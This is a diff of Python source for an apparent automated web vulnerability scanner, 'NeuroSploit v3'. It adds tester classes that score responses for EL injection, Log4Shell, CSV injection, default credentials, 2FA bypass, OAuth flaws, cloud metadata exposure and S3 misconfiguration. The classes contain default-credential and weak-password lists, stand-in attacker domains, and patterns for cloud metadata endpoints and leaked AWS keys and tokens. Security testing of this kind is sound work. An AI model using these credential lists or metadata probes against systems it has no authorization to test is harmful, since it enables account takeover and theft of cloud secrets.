return True, 0.7, "Email sent to multiple recipients after injection"
# SMTP error leak
smtp_errors = [r"SMTP error", r"550 \d+", r"relay access denied", r"mail\(\).*failed"]
for pattern in smtp_errors:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.6, "SMTP error revealed - email injection attempted"
return False, 0.0, None
class ELInjectionTester(BaseTester):
"""Tester for Expression Language (EL) Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "el_injection"
self.math_results = {
"${7*7}": "49",
"#{7*7}": "49",
"${3*11}": "33",
"#{3*11}": "33",
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for EL injection - expression evaluation in response"""
# Check mathematical expression results
for expr, result in self.math_results.items():
if expr in payload and result in response_body:
# Make sure the result isn't just the expression echoed
if expr not in response_body:
return True, 0.95, f"EL injection confirmed: {expr} evaluated to {result}"
# Java class names exposed via EL
java_indicators = [
r"java\.lang\.\w+",
r"java\.io\.File",
r"Runtime\.getRuntime",
r"ProcessBuilder",
r"javax\.\w+\.\w+",
r"org\.apache\.\w+",
r"getClass\(\)\.forName",
]
for pattern in java_indicators:
if re.search(pattern, response_body):
return True, 0.8, f"Java class exposure via EL injection: {pattern}"
# Spring EL specific
if "T(java.lang" in payload:
if re.search(r"class\s+\w+|java\.\w+", response_body):
return True, 0.7, "Spring EL injection indicator - Java class reference in response"
return False, 0.0, None
class LogInjectionTester(BaseTester):
"""Tester for Log Injection / Log4Shell / JNDI Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "log_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for log injection and JNDI callback indicators"""
# JNDI/Log4Shell detection via context callback
if "${jndi:" in payload.lower():
# Check context for callback confirmation
if context.get("callback_received"):
return True, 0.95, "JNDI injection confirmed via callback"
# Check for Log4j error in response
log4j_indicators = [
r"log4j", r"Log4jException", r"JNDI lookup",
r"javax\.naming", r"InitialContext",
]
for pattern in log4j_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, f"Log4j/JNDI indicator in response: {pattern}"
# Newline injection in log-like responses
if "\n" in payload or "%0a" in payload.lower() or "\\n" in payload:
# Check if response includes log-format lines with our injected content
log_patterns = [
r"\[\d{4}-\d{2}-\d{2}.*\].*neurosploit",
r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}.*neurosploit",
r"(?:INFO|WARN|ERROR|DEBUG)\s+.*neurosploit",
]
for pattern in log_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.7, "Log injection: injected content appears in log-format output"
# Generic log forging check
if "neurosploit" in payload and response_status == 200:
if re.search(r"(?:log|audit|event).*neurosploit", response_body, re.IGNORECASE):
return True, 0.5, "Injected marker appears in log/audit output"
return False, 0.0, None
class HtmlInjectionTester(BaseTester):
"""Tester for HTML Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "html_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for rendered HTML tags in response"""
if response_status >= 400:
return False, 0.0, None
# Check for injected HTML tags rendered in response
html_tests = [
(r"<b>neurosploit</b>", "Bold tag rendered"),
(r"<i>neurosploit</i>", "Italic tag rendered"),
(r"<u>neurosploit</u>", "Underline tag rendered"),
(r'<a\s+href=["\']?[^"\']*["\']?>neurosploit</a>', "Anchor tag rendered"),
(r'<img\s+src=["\']?[^"\']*["\']?', "Image tag rendered"),
(r'<form\s+[^>]*action=', "Form tag rendered"),
(r'<iframe\s+', "IFrame tag rendered"),
(r'<marquee>', "Marquee tag rendered"),
(r'<h1>neurosploit</h1>', "H1 tag rendered"),
(r'<div\s+style=', "Styled div rendered"),
]
for pattern, description in html_tests:
if re.search(pattern, response_body, re.IGNORECASE):
# Verify it wasn't already there (check if payload was actually injected)
if any(tag in payload.lower() for tag in ["<b>", "<i>", "<u>", "<a ", "<img", "<form", "<iframe", "<marquee", "<h1>", "<div"]):
return True, 0.8, f"HTML injection: {description}"
# Check for payload reflection without encoding
if "<" in payload and ">" in payload:
# Find the injected tag in response
tag_match = re.search(r"<(\w+)[^>]*>", payload)
if tag_match:
tag_name = tag_match.group(1)
if f"<{tag_name}" in response_body and f"&lt;{tag_name}" not in response_body:
return True, 0.75, f"HTML tag <{tag_name}> reflected without encoding"
return False, 0.0, None
class CsvInjectionTester(BaseTester):
"""Tester for CSV Injection (Formula Injection) vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "csv_injection"
self.formula_chars = ["=", "+", "-", "@", "\t", "\r"]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for formula characters preserved in CSV export responses"""
headers_lower = {k.lower(): v.lower() for k, v in response_headers.items()}
content_type = headers_lower.get("content-type", "")
# Check if response is CSV or spreadsheet
is_csv = "text/csv" in content_type or "spreadsheet" in content_type
is_export = "content-disposition" in headers_lower and any(
ext in headers_lower.get("content-disposition", "")
for ext in [".csv", ".xls", ".xlsx"]
)
if is_csv or is_export:
# Check if formula characters are preserved without escaping
for char in self.formula_chars:
if char in payload and payload in response_body:
return True, 0.8, f"CSV injection: formula character '{char}' preserved in export"
# Check for specific formula patterns
formula_patterns = [
r'[=+\-@].*(?:HYPERLINK|IMPORTXML|IMPORTDATA|cmd|powershell)',
r'=\w+\(.*\)',
]
for pattern in formula_patterns:
if re.search(pattern, response_body):
return True, 0.7, "CSV injection: formula pattern found in export data"
# Non-CSV response but payload was stored
if response_status in [200, 201] and any(c in payload for c in self.formula_chars[:4]):
if payload in response_body:
return True, 0.4, "Formula characters accepted and stored - verify CSV export"
return False, 0.0, None
class OrmInjectionTester(BaseTester):
"""Tester for ORM Injection vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "orm_injection"
self.error_patterns = [
r"Hibernate.*Exception",
r"javax\.persistence",
r"org\.hibernate",
r"ActiveRecord::.*Error",
r"Sequelize.*Error",
r"SQLAlchemy.*Error",
r"Doctrine.*Exception",
r"TypeORM.*Error",
r"Prisma.*Error",
r"EntityFramework.*Exception",
r"LINQ.*Exception",
r"django\.db.*Error",
r"peewee\.\w+Error",
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for ORM injection indicators"""
# ORM error messages
for pattern in self.error_patterns:
match = re.search(pattern, response_body, re.IGNORECASE)
if match:
return True, 0.8, f"ORM error detected: {match.group(0)[:100]}"
# Filter manipulation - unexpected data returned
if any(op in payload for op in ["__gt", "__lt", "__ne", "$ne", "$gt", ">=", "!="]):
if response_status == 200:
# Check context for baseline comparison
if "baseline_length" in context:
diff = abs(len(response_body) - context["baseline_length"])
if diff > 500:
return True, 0.6, f"ORM filter manipulation: response size differs by {diff} bytes"
# Check for data volume suggesting bypassed filters
if "__all" in payload or "objects.all" in payload:
if response_status == 200 and len(response_body) > 10000:
return True, 0.5, "ORM injection may have bypassed query filters - large data returned"
return False, 0.0, None
+223
View File
@@ -122,3 +122,226 @@ class SessionFixationTester(BaseTester):
return True, 0.6, "Session ID exposed in URL"
return False, 0.0, None
class WeakPasswordTester(BaseTester):
"""Tester for Weak Password acceptance"""
def __init__(self):
super().__init__()
self.name = "weak_password"
self.weak_passwords = [
"123456", "password", "12345678", "qwerty", "abc123",
"111111", "123123", "admin", "letmein", "welcome",
"1234", "1", "a"
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for successful login/registration with weak passwords"""
body_lower = response_body.lower()
# Check if payload contains a weak password
payload_has_weak = any(wp in payload for wp in self.weak_passwords)
if not payload_has_weak:
return False, 0.0, None
# Check for successful auth with weak password
if response_status in [200, 201, 302]:
success_indicators = [
r'"(?:access_)?token"\s*:', r'"session"\s*:',
r"(?:login|registration|signup)\s+successful",
r'"authenticated"\s*:\s*true', r'"success"\s*:\s*true',
r"welcome", r"dashboard", r"logged\s*in",
]
for pattern in success_indicators:
if re.search(pattern, response_body, re.IGNORECASE):
matched_pw = next((wp for wp in self.weak_passwords if wp in payload), "unknown")
return True, 0.85, f"Weak password accepted: '{matched_pw}' allowed for authentication"
# Redirect to authenticated area
location = response_headers.get("Location", "")
if response_status == 302 and any(x in location.lower() for x in ["dashboard", "home", "profile", "account"]):
matched_pw = next((wp for wp in self.weak_passwords if wp in payload), "unknown")
return True, 0.8, f"Weak password accepted: Redirect to authenticated area with '{matched_pw}'"
return False, 0.0, None
class DefaultCredentialsTester(BaseTester):
"""Tester for Default Credentials acceptance"""
def __init__(self):
super().__init__()
self.name = "default_credentials"
self.default_creds = [
("admin", "admin"), ("admin", "password"), ("admin", "admin123"),
("root", "root"), ("root", "toor"), ("root", "password"),
("administrator", "administrator"), ("admin", "1234"),
("test", "test"), ("guest", "guest"), ("user", "user"),
("admin", "changeme"), ("admin", "default"),
]
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for successful login with default credentials"""
body_lower = response_body.lower()
# Check if payload matches default creds
payload_lower = payload.lower()
matched_cred = None
for username, password in self.default_creds:
if username in payload_lower and password in payload_lower:
matched_cred = f"{username}/{password}"
break
if not matched_cred:
return False, 0.0, None
# Check for successful login
if response_status in [200, 201, 302]:
auth_success = [
r'"(?:access_)?token"\s*:', r'"session"\s*:',
r"(?:login|auth)\s+successful", r'"success"\s*:\s*true',
r'"authenticated"\s*:\s*true', r"welcome",
r"dashboard", r"admin\s*panel",
]
for pattern in auth_success:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.9, f"Default credentials accepted: {matched_cred}"
# Redirect to admin/dashboard
location = response_headers.get("Location", "")
if response_status == 302 and any(x in location.lower() for x in ["dashboard", "admin", "home", "panel"]):
return True, 0.85, f"Default credentials accepted: {matched_cred} (redirect to {location})"
return False, 0.0, None
class TwoFactorBypassTester(BaseTester):
"""Tester for Two-Factor Authentication Bypass"""
def __init__(self):
super().__init__()
self.name = "two_factor_bypass"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for authenticated access without completing 2FA"""
body_lower = response_body.lower()
# Check if we reached authenticated content without 2FA
if response_status == 200:
# Authenticated area indicators
auth_area_patterns = [
r"dashboard", r"my\s*account", r"profile",
r"settings", r"admin\s*panel", r'"user"\s*:\s*\{',
r'"email"\s*:\s*"[^"]+"', r'"role"\s*:',
]
# 2FA page indicators (we should NOT see these if bypassed)
twofa_page_patterns = [
r"(?:enter|verify)\s+(?:your\s+)?(?:otp|code|token|2fa)",
r"two.?factor", r"verification\s+code",
r"authenticator", r"sms\s+code",
]
has_auth_content = any(re.search(p, response_body, re.IGNORECASE) for p in auth_area_patterns)
is_twofa_page = any(re.search(p, response_body, re.IGNORECASE) for p in twofa_page_patterns)
if has_auth_content and not is_twofa_page:
# Check if payload suggests 2FA bypass attempt
bypass_indicators = [
"2fa", "otp", "mfa", "verify", "code",
"step2", "second", "challenge",
]
if any(bi in payload.lower() for bi in bypass_indicators):
return True, 0.85, "2FA bypass: Authenticated area accessed without completing 2FA"
# Direct navigation bypass
if context.get("skip_2fa") or context.get("direct_access"):
return True, 0.9, "2FA bypass: Direct navigation to authenticated page bypassed 2FA"
# Redirect skipping 2FA step
if response_status in [301, 302]:
location = response_headers.get("Location", "").lower()
if any(x in location for x in ["dashboard", "home", "account"]):
if "verify" not in location and "2fa" not in location and "otp" not in location:
return True, 0.7, "2FA bypass: Redirect to authenticated area skipping verification"
return False, 0.0, None
class OauthMisconfigTester(BaseTester):
"""Tester for OAuth Misconfiguration"""
def __init__(self):
super().__init__()
self.name = "oauth_misconfig"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for OAuth misconfiguration (open redirect, token leakage)"""
# Check for open redirect in OAuth flow
if response_status in [301, 302, 303, 307]:
location = response_headers.get("Location", "")
# External redirect in OAuth callback
if "redirect_uri" in payload.lower() or "callback" in payload.lower():
# Check if redirecting to attacker-controlled domain
evil_domains = ["evil.com", "attacker.com", "malicious.com"]
if any(domain in location for domain in evil_domains):
return True, 0.9, f"OAuth misconfig: Open redirect in OAuth flow to {location}"
# Check if arbitrary redirect_uri accepted
if payload in location:
return True, 0.85, "OAuth misconfig: Arbitrary redirect_uri accepted"
# Check for token in URL parameters (should be in fragment or POST)
if response_status in [200, 302]:
location = response_headers.get("Location", "")
# Token in query string instead of fragment
token_in_url = re.search(
r'[?&](?:access_token|token|code)=([A-Za-z0-9._-]+)',
location
)
if token_in_url:
return True, 0.8, "OAuth misconfig: Token/code exposed in URL query parameters"
# Token in response body URL
token_in_body = re.search(
r'(?:redirect|callback|return)["\']?\s*[:=]\s*["\']?https?://[^"\'>\s]*[?&]access_token=',
response_body, re.IGNORECASE
)
if token_in_body:
return True, 0.75, "OAuth misconfig: Access token in redirect URL"
# Check for missing state parameter (CSRF in OAuth)
if "state=" not in response_body and "state=" not in response_headers.get("Location", ""):
if re.search(r"(?:authorize|oauth|auth)\?", response_body, re.IGNORECASE):
return True, 0.6, "OAuth misconfig: Missing state parameter (CSRF risk)"
return False, 0.0, None
@@ -128,3 +128,166 @@ class PrivilegeEscalationTester(BaseTester):
return True, 0.7, f"Privilege escalation: Admin functionality '{func}' accessible"
return False, 0.0, None
class BflaTester(BaseTester):
"""Tester for Broken Function Level Authorization (BFLA)"""
def __init__(self):
super().__init__()
self.name = "bfla"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for admin functionality accessible to regular user"""
if response_status == 200:
# Admin-specific data patterns
admin_data_patterns = [
r'"users"\s*:\s*\[',
r'"all_users"\s*:',
r'"admin_settings"\s*:',
r'"system_config"\s*:',
r'"audit_log"\s*:',
r'"role"\s*:\s*"admin"',
r'"permissions"\s*:\s*\[',
r'"api_keys"\s*:\s*\[',
]
for pattern in admin_data_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
# Check if this was an admin endpoint accessed as regular user
admin_url_indicators = [
"/admin", "/manage", "/users", "/settings",
"/config", "/system", "/audit", "/logs",
]
if any(ind in payload.lower() for ind in admin_url_indicators):
return True, 0.85, f"BFLA: Admin data returned for non-admin request"
# Admin page content
admin_content = [
"user management", "system configuration", "admin dashboard",
"manage users", "all accounts", "server status",
"delete user", "create admin",
]
body_lower = response_body.lower()
for content in admin_content:
if content in body_lower:
return True, 0.8, f"BFLA: Admin functionality '{content}' accessible to regular user"
# Admin endpoint should return 403 for non-admin
if response_status not in [401, 403] and context.get("is_admin_endpoint"):
if response_status == 200:
return True, 0.7, "BFLA: Admin endpoint returned 200 instead of 403"
return False, 0.0, None
class MassAssignmentTester(BaseTester):
"""Tester for Mass Assignment vulnerability"""
def __init__(self):
super().__init__()
self.name = "mass_assignment"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for extra parameters being accepted and modifying model state"""
if response_status in [200, 201]:
# Check if privileged fields were accepted
privileged_fields = [
(r'"(?:is_)?admin"\s*:\s*true', "admin flag"),
(r'"role"\s*:\s*"admin"', "admin role"),
(r'"role"\s*:\s*"superuser"', "superuser role"),
(r'"verified"\s*:\s*true', "verified status"),
(r'"is_staff"\s*:\s*true', "staff flag"),
(r'"is_superuser"\s*:\s*true', "superuser flag"),
(r'"balance"\s*:\s*\d{4,}', "balance modification"),
(r'"credits"\s*:\s*\d{3,}', "credits modification"),
(r'"discount"\s*:\s*\d+', "discount field"),
(r'"price"\s*:\s*0', "price zeroed"),
]
# Check if payload attempted mass assignment
mass_assign_indicators = [
"admin", "role", "is_staff", "is_superuser",
"verified", "balance", "credits", "price", "discount",
]
payload_has_mass_assign = any(ind in payload.lower() for ind in mass_assign_indicators)
if payload_has_mass_assign:
for pattern, field_name in privileged_fields:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.85, f"Mass assignment: Privileged field '{field_name}' accepted and reflected"
# Check if response changed compared to baseline
if context.get("baseline_body"):
baseline = context["baseline_body"]
if response_body != baseline and len(response_body) > len(baseline):
return True, 0.6, "Mass assignment: Response differs from baseline after extra parameters"
return False, 0.0, None
class ForcedBrowsingTester(BaseTester):
"""Tester for Forced Browsing (direct access to restricted URLs)"""
def __init__(self):
super().__init__()
self.name = "forced_browsing"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for direct access to restricted URLs without proper authorization"""
# Should get 401/403/302 for restricted content, not 200
if response_status == 200:
# Sensitive content indicators
sensitive_patterns = [
(r"(?:admin|management)\s+(?:panel|dashboard|console)", "admin panel"),
(r'"(?:password|secret|api_key|token)"\s*:\s*"[^"]+"', "sensitive data"),
(r"(?:backup|dump|export)\s+(?:file|data|database)", "backup files"),
(r"phpinfo\(\)", "PHP info page"),
(r"(?:configuration|config)\s+(?:file|settings)", "configuration page"),
(r"(?:internal|private)\s+(?:api|endpoint|documentation)", "internal docs"),
(r"(?:debug|diagnostic)\s+(?:info|page|console)", "debug page"),
(r"(?:user|customer)\s+(?:list|database|records)", "user records"),
]
for pattern, desc in sensitive_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.8, f"Forced browsing: Restricted content accessible - {desc}"
# Check for restricted URL patterns in payload
restricted_paths = [
"/admin", "/backup", "/config", "/internal",
"/debug", "/private", "/management", "/phpinfo",
"/.git", "/.env", "/wp-admin", "/server-status",
]
if any(path in payload.lower() for path in restricted_paths):
if len(response_body) > 200:
return True, 0.7, "Forced browsing: Restricted URL returned content (200 OK)"
# Check that redirect isn't to the same restricted page (false positive)
if response_status in [301, 302]:
location = response_headers.get("Location", "").lower()
if "login" in location or "signin" in location or "auth" in location:
return False, 0.0, None # Properly redirecting to login
return False, 0.0, None
@@ -148,3 +148,283 @@ class OpenRedirectTester(BaseTester):
return True, 0.7, "Open redirect via JavaScript"
return False, 0.0, None
class DomClobberingTester(BaseTester):
"""Tester for DOM Clobbering vulnerability"""
def __init__(self):
super().__init__()
self.name = "dom_clobbering"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for HTML injection that could override JS variables via DOM clobbering"""
if response_status == 200:
# Check if injected HTML with id/name attributes is reflected
clobber_patterns = [
r'<(?:a|form|img|input|iframe|embed|object)\s+[^>]*(?:id|name)\s*=\s*["\']?(?:' + re.escape(payload.split("=")[0] if "=" in payload else payload) + r')',
r'<a\s+[^>]*id=["\'][^"\']+["\'][^>]*href=["\']',
r'<form\s+[^>]*name=["\'][^"\']+["\']',
]
for pattern in clobber_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.8, "DOM Clobbering: Injected HTML with id/name attribute reflected"
# Check for common clobberable global variables
clobber_targets = [
r'<[^>]+id=["\'](?:location|document|window|self|top|frames|opener|parent)["\']',
r'<[^>]+name=["\'](?:location|document|window|self|top|frames|opener|parent)["\']',
]
for pattern in clobber_targets:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.85, "DOM Clobbering: HTML element with JS global variable name injected"
return False, 0.0, None
class PostMessageVulnTester(BaseTester):
"""Tester for postMessage vulnerability (missing origin check)"""
def __init__(self):
super().__init__()
self.name = "postmessage_vuln"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for addEventListener('message') without origin validation"""
if response_status == 200:
# Find message event listeners
message_listener = re.search(
r'addEventListener\s*\(\s*["\']message["\']',
response_body
)
if message_listener:
# Check if origin is NOT validated nearby
# Get surrounding context (500 chars after listener)
listener_pos = message_listener.start()
handler_block = response_body[listener_pos:listener_pos + 500]
origin_checks = [
r'\.origin\s*[!=]==?\s*["\']',
r'event\.origin',
r'e\.origin',
r'msg\.origin',
r'origin\s*===',
]
has_origin_check = any(re.search(p, handler_block) for p in origin_checks)
if not has_origin_check:
return True, 0.85, "postMessage vulnerability: Message listener without origin validation"
else:
# Origin check exists but might be weak
if re.search(r'\.origin\s*[!=]==?\s*["\']["\']', handler_block):
return True, 0.7, "postMessage vulnerability: Origin check appears to be empty string"
# Check for postMessage with wildcard origin
wildcard_post = re.search(
r'\.postMessage\s*\([^)]+,\s*["\']\*["\']',
response_body
)
if wildcard_post:
return True, 0.75, "postMessage vulnerability: postMessage with wildcard '*' target origin"
return False, 0.0, None
class WebsocketHijackTester(BaseTester):
"""Tester for WebSocket Cross-Origin Hijacking"""
def __init__(self):
super().__init__()
self.name = "websocket_hijack"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for WebSocket connections accepting cross-origin requests"""
# WebSocket upgrade accepted (101 Switching Protocols)
if response_status == 101:
# Check if Origin header was sent and accepted
upgrade = response_headers.get("Upgrade", "").lower()
if upgrade == "websocket":
return True, 0.8, "WebSocket hijack: Cross-origin WebSocket upgrade accepted"
# Check for WebSocket endpoint in response without origin validation
if response_status == 200:
ws_patterns = [
r'new\s+WebSocket\s*\(\s*["\']wss?://',
r'ws://[^"\'>\s]+',
r'wss://[^"\'>\s]+',
]
for pattern in ws_patterns:
if re.search(pattern, response_body):
# Check for lack of CORS-like origin checking
if "origin" not in response_body.lower() or context.get("cross_origin_accepted"):
return True, 0.7, "WebSocket hijack: WebSocket endpoint found without apparent origin validation"
# 403 on WebSocket with wrong origin is good (not vulnerable)
if response_status == 403:
return False, 0.0, None
return False, 0.0, None
class PrototypePollutionTester(BaseTester):
"""Tester for JavaScript Prototype Pollution"""
def __init__(self):
super().__init__()
self.name = "prototype_pollution"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for __proto__ pollution indicators"""
if response_status == 200:
# Check if __proto__ payload was processed
proto_indicators = [
r'__proto__',
r'constructor\.prototype',
r'Object\.prototype',
]
# Payload should contain proto pollution attempt
is_proto_payload = any(
ind in payload for ind in ["__proto__", "constructor", "prototype"]
)
if is_proto_payload:
# Check for pollution effect in response
pollution_effects = [
r'"__proto__"\s*:\s*\{',
r'"polluted"\s*:\s*true',
r'"isAdmin"\s*:\s*true',
r'"__proto__":\s*\{[^}]*\}',
]
for pattern in pollution_effects:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.85, "Prototype pollution: __proto__ property accepted and reflected"
# Check if server processed the prototype chain modification
if response_status == 200 and "__proto__" in response_body:
return True, 0.7, "Prototype pollution: __proto__ present in server response"
# Check for error indicating proto processing
if re.search(r"(?:cannot|unable to).*(?:merge|assign|extend).*proto", response_body, re.IGNORECASE):
return True, 0.6, "Prototype pollution: Server attempted to process __proto__"
return False, 0.0, None
class CssInjectionTester(BaseTester):
"""Tester for CSS Injection vulnerability"""
def __init__(self):
super().__init__()
self.name = "css_injection"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for CSS code rendered in style context"""
if response_status == 200:
# Check if CSS payload is reflected in style context
css_contexts = [
# Inside <style> tags
r'<style[^>]*>(?:[^<]*?)' + re.escape(payload)[:30].replace("\\", "\\\\"),
# Inside style attribute
r'style\s*=\s*["\'][^"\']*' + re.escape(payload)[:30].replace("\\", "\\\\"),
]
for pattern in css_contexts:
try:
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
return True, 0.85, "CSS injection: Payload reflected in style context"
except re.error:
continue
# Check for common CSS injection payloads reflected
css_attack_patterns = [
r'expression\s*\(',
r'url\s*\(\s*["\']?javascript:',
r'@import\s+["\']?https?://',
r'background:\s*url\s*\(\s*["\']?https?://[^"\')\s]*attacker',
r'behavior:\s*url\s*\(',
r'-moz-binding:\s*url\s*\(',
]
for pattern in css_attack_patterns:
if re.search(pattern, response_body, re.IGNORECASE):
return True, 0.8, "CSS injection: Dangerous CSS property reflected"
return False, 0.0, None
class TabnabbingTester(BaseTester):
"""Tester for Reverse Tabnabbing vulnerability"""
def __init__(self):
super().__init__()
self.name = "tabnabbing"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for target=_blank links without rel=noopener"""
if response_status == 200:
# Find all target=_blank links
blank_links = re.finditer(
r'<a\s+[^>]*target\s*=\s*["\']_blank["\'][^>]*>',
response_body,
re.IGNORECASE
)
vulnerable_count = 0
for match in blank_links:
link_tag = match.group(0)
# Check for rel=noopener or rel=noreferrer
has_protection = re.search(
r'rel\s*=\s*["\'][^"\']*(?:noopener|noreferrer)[^"\']*["\']',
link_tag,
re.IGNORECASE
)
if not has_protection:
vulnerable_count += 1
if vulnerable_count > 0:
confidence = min(0.5 + vulnerable_count * 0.1, 0.8)
return True, confidence, f"Tabnabbing: {vulnerable_count} target=_blank link(s) without rel=noopener/noreferrer"
return False, 0.0, None
@@ -0,0 +1,405 @@
"""
NeuroSploit v3 - Cloud & Supply Chain Vulnerability Testers
Testers for S3 misconfiguration, cloud metadata, subdomain takeover,
vulnerable dependencies, container escape, and serverless misconfiguration.
"""
import re
from typing import Tuple, Dict, Optional
from backend.core.vuln_engine.testers.base_tester import BaseTester
class S3BucketMisconfigTester(BaseTester):
"""Tester for S3 Bucket Misconfiguration vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "s3_bucket_misconfig"
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for S3 bucket listing or misconfiguration"""
# Bucket listing XML response
if re.search(r"<ListBucketResult\s", response_body):
return True, 0.95, "S3 bucket listing enabled - bucket contents exposed"
# Bucket listing with objects
if "<Contents>" in response_body and "<Key>" in response_body:
keys = re.findall(r"<Key>([^<]+)</Key>", response_body)
if keys:
return True, 0.95, f"S3 bucket listing: {len(keys)} objects exposed (e.g., {keys[0][:50]})"
# NoSuchBucket - potential subdomain takeover
if "NoSuchBucket" in response_body:
bucket_match = re.search(r"<BucketName>([^<]+)</BucketName>", response_body)
bucket_name = bucket_match.group(1) if bucket_match else "unknown"
return True, 0.8, f"S3 bucket '{bucket_name}' does not exist - potential takeover"
# AccessDenied with bucket info
if "AccessDenied" in response_body and "s3.amazonaws.com" in response_body:
return True, 0.5, "S3 bucket exists but access denied - bucket enumerated"
# Public write/upload success
if response_status in [200, 204] and context.get("is_upload_test"):
headers_lower = {k.lower(): v for k, v in response_headers.items()}
if "x-amz-request-id" in headers_lower:
return True, 0.9, "S3 bucket allows public write access"
# Bucket policy exposed
if '"Statement"' in response_body and '"Effect"' in response_body:
if '"s3:' in response_body:
return True, 0.85, "S3 bucket policy exposed"
return False, 0.0, None
class CloudMetadataExposureTester(BaseTester):
"""Tester for Cloud Metadata Exposure vulnerabilities (SSRF to metadata)"""
def __init__(self):
super().__init__()
self.name = "cloud_metadata_exposure"
self.metadata_indicators = {
# AWS
"aws": [
(r"ami-[0-9a-f]{8,17}", "AWS AMI ID"),
(r"i-[0-9a-f]{8,17}", "AWS Instance ID"),
(r"arn:aws:[a-z0-9-]+:[a-z0-9-]*:\d{12}:", "AWS ARN"),
(r"AKIA[0-9A-Z]{16}", "AWS Access Key"),
(r"169\.254\.169\.254", "AWS metadata endpoint"),
(r"\"(?:AccessKeyId|SecretAccessKey|Token)\"", "AWS IAM credentials"),
(r"ec2\.internal", "AWS internal hostname"),
(r"\"accountId\"\s*:\s*\"\d{12}\"", "AWS Account ID"),
],
# GCP
"gcp": [
(r"projects/\d+/", "GCP Project reference"),
(r"metadata\.google\.internal", "GCP metadata endpoint"),
(r"\"access_token\"\s*:\s*\"ya29\.", "GCP OAuth token"),
(r"compute\.googleapis\.com", "GCP Compute API"),
(r"serviceAccounts/[^/]+/token", "GCP service account token"),
],
# Azure
"azure": [
(r"metadata\.azure\.com", "Azure metadata endpoint"),
(r"(?:subscriptionId|resourceGroupName)\"\s*:\s*\"", "Azure resource info"),
(r"\.blob\.core\.windows\.net", "Azure Blob Storage"),
(r"\.vault\.azure\.net", "Azure Key Vault"),
(r"\"access_token\"\s*:\s*\"eyJ", "Azure JWT token"),
],
}
def analyze_response(
self,
payload: str,
response_status: int,
response_headers: Dict,
response_body: str,
context: Dict
) -> Tuple[bool, float, Optional[str]]:
"""Check for cloud metadata in response"""
findings = []
for provider, patterns in self.metadata_indicators.items():
for pattern, description in patterns:
if re.search(pattern, response_body):
findings.append(f"{provider.upper()}: {description}")
if findings:
# IAM credentials or tokens are critical
critical = any(k in f for f in findings for k in ["credentials", "Access Key", "token", "Token"])
confidence = 0.95 if critical else 0.8
return True, confidence, f"Cloud metadata exposure: {', '.join(findings[:3])}"
# Check for metadata endpoint access (SSRF to cloud metadata)
metadata_urls = ["169.254.169.254", "metadata.google.internal",
"metadata.azure.com", "100.100.100.200"]
for url in metadata_urls:
if url in payload and response_status == 200 and len(response_body) > 50:
return True, 0.85, f"Cloud metadata accessible via SSRF ({url})"
return False, 0.0, None
class SubdomainTakeoverTester(BaseTester):
"""Tester for Subdomain Takeover vulnerabilities"""
def __init__(self):
super().__init__()
self.name = "subdomain_takeover"
self.takeover_fingerprints = [
